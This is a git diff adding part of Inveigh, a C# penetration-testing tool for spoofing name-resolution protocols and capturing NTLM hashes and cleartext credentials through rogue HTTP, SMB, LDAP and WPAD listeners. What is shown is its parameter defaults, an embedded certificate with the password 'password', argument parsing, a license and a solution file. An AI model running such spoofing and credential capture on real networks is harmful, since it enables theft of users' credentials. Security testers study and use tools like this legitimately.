+namespace Inveigh
+{
+ class Program
+ {
+ //begin parameters - set defaults as needed before compile
+ public static string argCert = "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";
+ public static string argCertPassword = "password";
+ public static string argChallenge = "";
+ public static string argConsole = "3";
+ public static string argConsoleLimit = "-1";
+ public static string argConsoleStatus = "0";
+ public static string argConsoleUnique = "Y";
+ public static string argDHCPv6 = "N";
+ public static string argDHCPv6TTL = "30";
+ public static string argDNS = "Y";
+ public static string argDNSHost = "";
+ public static string argDNSTTL = "30";
+ public static string[] argDNSTypes = { "A" };
+ public static string[] argDNSSRV = { "LDAP" };
+ public static string argDNSSuffix = "";
+ public static string argFileOutput = "Y";
+ public static string argFileDirectory = Directory.GetCurrentDirectory();
+ public static string argFilePrefix = "Inveigh";
+ public static string argFileUnique = "Y";
+ public static string argHelp = "";
+ public static string argHTTP = "Y";
+ public static string argHTTPAuth = "NTLM";
+ public static string argHTTPRealm = "ADFS";
+ public static string[] argHTTPPorts = { "80" };
+ public static string argHTTPResponse = "";
+ public static string argHTTPS = "N";
+ public static string[] argHTTPSPorts = { "443" };
+ public static string argICMPv6 = "N";
+ public static string argICMPv6Interval = "200";
+ public static string argICMPv6TTL = "1800";
+ public static string argInspect = "N";
+ public static string argIPv4 = "Y";
+ public static string argIPv6 = "Y";
+ public static string argSniffer = "Y";
+ public static string argSnifferIP = "";
+ public static string argSnifferIPv6 = "";
+ public static string argListenerIP = "0.0.0.0";
+ public static string argListenerIPv6 = "::";
+ public static string argLDAP = "Y";
+ public static string[] argLDAPPorts = { "389" };
+ public static string argLLMNR = "Y";
+ public static string argLLMNRTTL = "30";
+ public static string[] argLLMNRTypes = { "A" };
+ public static string argLogOutput = "Y";
+ public static string argMAC = "";
+ public static string argMachineAccount = "Y";
+ public static string argMDNS = "N";
+ public static string[] argMDNSQuestions = { "QU", "QM" };
+ public static string argMDNSTTL = "120";
+ public static string[] argMDNSTypes = { "A" };
+ public static string argMDNSUnicast = "Y";
+ public static string argNBNS = "N";
+ public static string argNBNSTTL = "165";
+ public static string[] argNBNSTypes = { "00", "20" };
+ public static string argProxy = "N";
+ public static string argProxyAuth = "NTLM";
+ public static string argProxyPort = "8492";
+ public static string argRunCount = "0";
+ public static string argRunTime = "0";
+ public static string argSMB = "Y";
+ public static string[] argSMBPorts = { "445" };
+ public static string[] argIgnoreAgents = { "Firefox" };
+ public static string[] argIgnoreDomains;
+ public static string[] argIgnoreIPs;
+ public static string[] argIgnoreHosts;
+ public static string[] argIgnoreMACs;
+ public static string[] argReplyToDomains;
+ public static string[] argReplyToHosts;
+ public static string[] argReplyToIPs;
+ public static string[] argReplyToMACs;
+ public static string argSpooferIP = "";
+ public static string argSpooferIPv6 = "";
+ public static string argLocal = "N";
+ public static string argRepeat = "Y";
+ public static string argWebDAV = "Y";
+ public static string argWebDAVAuth = "NTLM";
+ public static string argWPADAuth = "NTLM";
+ public static string argWPADResponse = "";
+ //end parameters
+ public static ConsoleColor colorPositive = ConsoleColor.Green; // change output colors here
+ public static ConsoleColor colorNegative = ConsoleColor.Red;
+ public static Hashtable smbSessionTable = Hashtable.Synchronized(new Hashtable());
+ public static Hashtable httpSessionTable = Hashtable.Synchronized(new Hashtable());
+ public static IList<string> outputList = new List<string>();
+ public static IList<string> consoleList = new List<string>();
+ public static IList<string> logList = new List<string>();
+ public static IList<string> logFileList = new List<string>();
+ public static IList<string> cleartextList = new List<string>();
+ public static IList<string> cleartextFileList = new List<string>();
+ public static IList<string> hostList = new List<string>();
+ public static IList<string> hostFileList = new List<string>();
+ public static IList<string> ntlmv1List = new List<string>();
+ public static IList<string> ntlmv2List = new List<string>();
+ public static IList<string> ntlmv1UniqueList = new List<string>();
+ public static IList<string> ntlmv2UniqueList = new List<string>();
+ public static IList<string> ntlmv1FileList = new List<string>();
+ public static IList<string> ntlmv2FileList = new List<string>();
+ public static IList<string> ntlmv1UsernameList = new List<string>();
+ public static IList<string> ntlmv2UsernameList = new List<string>();
+ public static IList<string> ntlmv1UsernameFileList = new List<string>();
+ public static IList<string> ntlmv2UsernameFileList = new List<string>();
+ public static IList<string> dhcpv6List = new List<string>();
+ public static IList<string> IPCaptureList = new List<string>();
+ public static IList<string> HostCaptureList = new List<string>();
+ public static IList<string> commandHistoryList = new List<string>();
+ public static bool enabledConsoleOutput = true;
+ public static bool enabledConsoleUnique = false;
+ public static bool enabledDHCPv6 = false;
+ public static bool enabledDNS = false;
+ public static bool enabledElevated = false;
+ public static bool enabledFileOutput = false;
+ public static bool enabledFileUnique = false;
+ public static bool enabledHTTP = false;
+ public static bool enabledHTTPS = false;
+ public static bool enabledICMPv6 = false;
+ public static bool enabledInspect = false;
+ public static bool enabledIPv4 = false;
+ public static bool enabledIPv6 = false;
+ public static bool enabledLDAP = false;
+ public static bool enabledLLMNR = false;
+ public static bool enabledLocal = false;
+ public static bool enabledLogOutput = false;
+ public static bool enabledMachineAccountCapture = false;
+ public static bool enabledMDNS = false;
+ public static bool enabledMDNSUnicast = false;
+ public static bool enabledNBNS = false;
+ public static bool enabledProxy = false;
+ public static bool enabledRepeat = false;
+ public static bool enabledSMB = false;
+ public static bool enabledSniffer = false;
+ public static bool enabledWebDAV = false;
+ public static bool enabledWindows = true;
+ public static bool isRunning = true;
+ public static bool isSession = false;
+ public static bool isNTLMv1Updated = false;
+ public static bool isNTLMv2Updated = false;
+ public static bool isCleartextUpdated = false;
+ public static bool isNTLMv1UniqueUpdated = false;
+ public static bool isNTLMv2UniqueUpdated = false;
+ public static bool isCleartextUniqueUpdated = false;
+ public static IPAddress listenerIPAddress = IPAddress.Any;
+ public static IPAddress listenerIPv6Address = IPAddress.IPv6Any;
+ public static int dhcpv6Random = (new Random()).Next(1, 9999);
+ public static uint dnsSerial = (uint)(new Random()).Next(1, 9999);
+ public static int icmpv6Interval;
+ public static int dhcpv6IPIndex = 1;
+ public static int console;
+ public static int consoleQueueLimit = -1;
+ public static int consoleStatus = 0;
+ public static int runCount = 0; // todo check
+ public static int runTime = 0;
+ public static int ntlmv1Count = 0;
+ public static int ntlmv2Count = 0;
+ public static int cleartextCount = 0;
+ public static int ntlmv1UniqueCount = 0;
+ public static int ntlmv2UniqueCount = 0;
+ public static int cleartextUniqueCount = 0;
+ public static int networkInterfaceIndexIPv4 = 0;
+ public static int networkInterfaceIndexIPv6 = 0;
+ public static string computerName = Environment.MachineName;
+ public static string netbiosDomain = Environment.UserDomainName;
+ public static string dnsDomain = "";
+ public static ulong smb2Session = 5548434740922023936; // todo check
+ public static string version = "2.0.3";
+
+ static void Main(string[] arguments)
+ {
+
+#if !NETFRAMEWORK
+ if (!System.OperatingSystem.IsWindows())
+ {
+ enabledWindows = false;
+ }
+#endif
+
+ if (arguments.Length > 0)
+ {
+
+ foreach (var entry in arguments.Select((value, index) => new { index, value }))
+ {
+ string argument = entry.value.ToUpper();
+
+ try
+ {
+
+ switch (argument)
+ {
+
+ case "-CERT":
+ case "/CERT":
+ argCert = arguments[entry.index + 1];
+ break;
+
+ case "-CERTPASSWORD":
+ case "/CERTPASSWORD":
+ argCertPassword = arguments[entry.index + 1];
+ break;
+
+ case "-CHALLENGE":
+ case "/CHALLENGE":
+ argChallenge = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-CONSOLE":
+ case "/CONSOLE":
+ argConsole = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-CONSOLELIMIT":
+ case "/CONSOLELIMIT":
+ argConsoleLimit = arguments[entry.index + 1];
+ break;
+
+ case "-CONSOLESTATUS":
+ case "/CONSOLESTATUS":
+ argConsoleStatus = arguments[entry.index + 1];
+ break;
+
+ case "-CONSOLEUNIQUE":
+ case "/CONSOLEUNIQUE":
+ argConsoleUnique = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DHCPV6":
+ case "/DHCPV6":
+ argDHCPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DHCPV6TTL":
+ case "/DHCPV6TTL":
+ argDHCPv6TTL = arguments[entry.index + 1];
+ break;
+
+ case "-DNS":
+ case "/DNS":
+ argDNS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DNSHOST":
+ case "/DNSHOST":
+ argDNSHost = arguments[entry.index + 1];
+ break;
+
+ case "-DNSSUFFIX":
+ case "/DNSSUFFIX":
+ argDNSSuffix = arguments[entry.index + 1];
+ break;
+
+ case "-DNSSRV":
+ case "/DNSSRV":
+ argDNSSRV = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-DNSTTL":
+ case "/DNSTTL":
+ argDNSTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-DNSTYPES":
+ case "/DNSTYPES":
+ argDNSTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-FILEDIRECTORY":
+ case "/FILEDIRECTORY":
+ argFileDirectory = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-FILEOUTPUT":
+ case "/FILEOUTPUT":
+ argFileOutput = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-FILEPREFIX":
+ case "/FILEPREFIX":
+ argFilePrefix = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-FILEUNIQUE":
+ case "/FILEUNIQUE":
+ argFileUnique = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTP":
+ case "/HTTP":
+ argHTTP = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTPAUTH":
+ case "/HTTPAUTH":
+ argHTTPAuth = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTPBASICREALM":
+ case "/HTTPBASICREALM":
+ argHTTPRealm = arguments[entry.index + 1];
+ break;
+
+ case "-HTTPPORTS":
+ case "/HTTPPORTS":
+ argHTTPPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-HTTPS":
+ case "/HTTPS":
+ argHTTPS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-HTTPSPORTS":
+ case "/HTTPSPORTS":
+ argHTTPSPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-HTTPRESPONSE":
+ case "/HTTPRESPONSE":
+ argHTTPResponse = arguments[entry.index + 1];
+ break;
+
+ case "-ICMPV6":
+ case "/ICMPV6":
+ argICMPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-ICMPV6INTERVAL":
+ case "/ICMPV6INTERVAL":
+ argICMPv6Interval = arguments[entry.index + 1];
+ break;
+
+ case "-ICMPV6TTL":
+ case "/ICMPV6TTL":
+ argICMPv6TTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-IGNOREAGENTS":
+ case "/IGNOREAGENTS":
+ argIgnoreAgents = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-IGNOREDOMAINS":
+ case "/IGNOREDOMAINS":
+ argIgnoreDomains = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-IGNOREHOSTS":
+ case "/IGNOREHOSTS":
+ argIgnoreHosts = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-IGNOREIPS":
+ case "/IGNOREIPS":
+ argIgnoreIPs = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-IGNOREMACS":
+ case "/IGNOREMACS":
+ argIgnoreMACs = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "").Split(',');
+ break;
+
+ case "-INSPECT":
+ case "/INSPECT":
+ argInspect = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-IPV4":
+ case "/IPV4":
+ argIPv4 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-IPV6":
+ case "/IPV6":
+ argIPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LDAP":
+ case "/LDAP":
+ argLDAP = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LDAPPORTS":
+ case "/LDAPPORTS":
+ argLDAPPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-LISTENERIP":
+ case "/LISTENERIP":
+ argListenerIP = arguments[entry.index + 1];
+ break;
+
+ case "-LISTENERIPV6":
+ case "/LISTENERIPV6":
+ argListenerIPv6 = arguments[entry.index + 1];
+ break;
+
+ case "-LLMNR":
+ case "/LLMNR":
+ argLLMNR = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LLMNRTTL":
+ case "/LLMNRTTL":
+ argLLMNRTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LLMNRTYPES":
+ case "/LLMNRTYPES":
+ argLLMNRTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-LOCAL":
+ case "/LOCAL":
+ argLocal = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-LOGOUTPUT":
+ case "/LOGOUTPUT":
+ argLogOutput = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MAC":
+ case "/MAC":
+ argMAC = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "");
+ break;
+
+ case "-MACHINEACCOUNT":
+ case "/MACHINEACCOUNT":
+ argMachineAccount = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MDNS":
+ case "/MDNS":
+ argMDNS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MDNSQUESTIONS":
+ case "/MDNSQUESTIONS":
+ argMDNSQuestions = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-MDNSTTL":
+ case "/MDNSTTL":
+ argMDNSTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-MDNSTYPES":
+ case "/MDNSTYPES":
+ argMDNSTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-MDNSUNICAST":
+ case "/MDNSUNICAST":
+ argMDNSUnicast = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-NBNS":
+ case "/NBNS":
+ argNBNS = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-NBNSTTL":
+ case "/NBNSTTL":
+ argNBNSTTL = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-NBNSTYPES":
+ case "/NBNSTYPES":
+ argNBNSTypes = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-PROXY":
+ case "/PROXY":
+ argProxy = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-PROXYPORT":
+ case "/PROXYPORT":
+ argProxyPort = arguments[entry.index + 1];
+ break;
+
+ case "-RUNCOUNT":
+ case "/RUNCOUNT":
+ argRunCount = arguments[entry.index + 1];
+ break;
+
+ case "-RUNTIME":
+ case "/RUNTIME":
+ argRunTime = arguments[entry.index + 1];
+ break;
+
+ case "-SMB":
+ case "/SMB":
+ argSMB = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-SMBPORTS":
+ case "/SMBPORTS":
+ argSMBPorts = arguments[entry.index + 1].Split(',');
+ break;
+
+ case "-SNIFFER":
+ case "/SNIFFER":
+ argSniffer = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-SNIFFERIP":
+ case "/SNIFFERIP":
+ argSnifferIP = arguments[entry.index + 1];
+ break;
+
+ case "-SNIFFERIPV6":
+ case "/SNIFFERIPV6":
+ argSnifferIPv6 = arguments[entry.index + 1];
+ break;
+
+ case "-SPOOFERIP":
+ case "/SPOOFERIP":
+ argSpooferIP = arguments[entry.index + 1];
+ break;
+
+ case "-SPOOFERIPV6":
+ case "/SPOOFERIPV6":
+ argSpooferIPv6 = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-REPEAT":
+ case "/REPEAT":
+ argRepeat = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-REPLYTODOMAINS":
+ case "/REPLYTODOMAINS":
+ argReplyToDomains = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-REPLYTOHOSTS":
+ case "/REPLYTOHOSTS":
+ argReplyToHosts = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-REPLYTOIPS":
+ case "/REPLYTOIPS":
+ argReplyToIPs = arguments[entry.index + 1].ToUpper().Split(',');
+ break;
+
+ case "-REPLYTOMACS":
+ case "/REPLYTOMACS":
+ argReplyToMACs = arguments[entry.index + 1].ToUpper().Replace(":", "").Replace("-", "").Split(',');
+ break;
+
+ case "-WEBDAV":
+ case "/WEBDAV":
+ argWebDAV = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-WEBDAVAUTH":
+ case "/WEBDAVAUTH":
+ argWebDAVAuth = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-WPADAUTH":
+ case "/WPADAUTH":
+ argWPADAuth = arguments[entry.index + 1].ToUpper();
+ break;
+
+ case "-WPADRESPONSE":
+ case "/WPADRESPONSE":
+ argWPADResponse = arguments[entry.index + 1];
+ break;
+
+ case "-?":
+ case "/?":
+ if (arguments.Length > 1)
+ argHelp = arguments[entry.index + 1].ToUpper();
+ Output.GetHelp(argHelp);
+ Environment.Exit(0);
+ break;
+
+ default:
+ if (argument.StartsWith("-") || argument.StartsWith("/"))
+ throw new ArgumentException(paramName: argument, message: "Invalid Parameter");
+ break;
+ }
+
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.Contains("Index was outside the bounds of the array"))
+ {
+ Console.WriteLine("{0} is missing a value", argument);
+ }
+ else
+ {
+ Console.WriteLine("{0} error - {1}", argument, ex.Message);
+ }
+
+ Environment.Exit(0);
+ }
+
+ }
+
+ }
+
+ Arguments.ValidateArguments();
+ Arguments.ParseArguments();
+ Control.ImportSession();
+ Output.StartupOutput();
+ Control.StartThreads();
+ commandHistoryList.Add("");
+
+ while (isRunning)
+ {
+
+ try
+ {
+ Output.OutputLoop();
+
+ if (isRunning)
+ {
+ Shell.ConsoleLoop();
+ }
+
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(outputList.Count);
+ outputList.Add(String.Format("[-] [{0}] Console error detected - {1}", Output.Timestamp(), ex.ToString()));
+ }
+
+ }
+
+ Environment.Exit(0);
+ }
+
+ }
+
+} \ No newline at end of file
diff --git a/Inveigh/Protocols/Quiddity/LICENSE b/Inveigh/Protocols/Quiddity/LICENSE
new file mode 100644
index 0000000..cea2f49
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/LICENSE
@@ -0,0 +1,29 @@
+BSD 3-Clause License
+
+Copyright (c) 2021, Kevin Robertson
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+3. Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/Inveigh/Protocols/Quiddity/Quiddity.sln b/Inveigh/Protocols/Quiddity/Quiddity.sln
new file mode 100644
index 0000000..923fb91
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.31129.286
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quiddity", "Quiddity\Quiddity.csproj", "{C85B8A8C-8331-4ED2-8264-0C8BD7410E25}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {C85B8A8C-8331-4ED2-8264-0C8BD7410E25}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {3310338C-F3E5-45E8-B437-85CA1022301C}
+ EndGlobalSection
+EndGlobal
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs b/Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs
new file mode 100644
index 0000000..5ec2a0f
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Clients/SMBClient.cs
@@ -0,0 +1,64 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
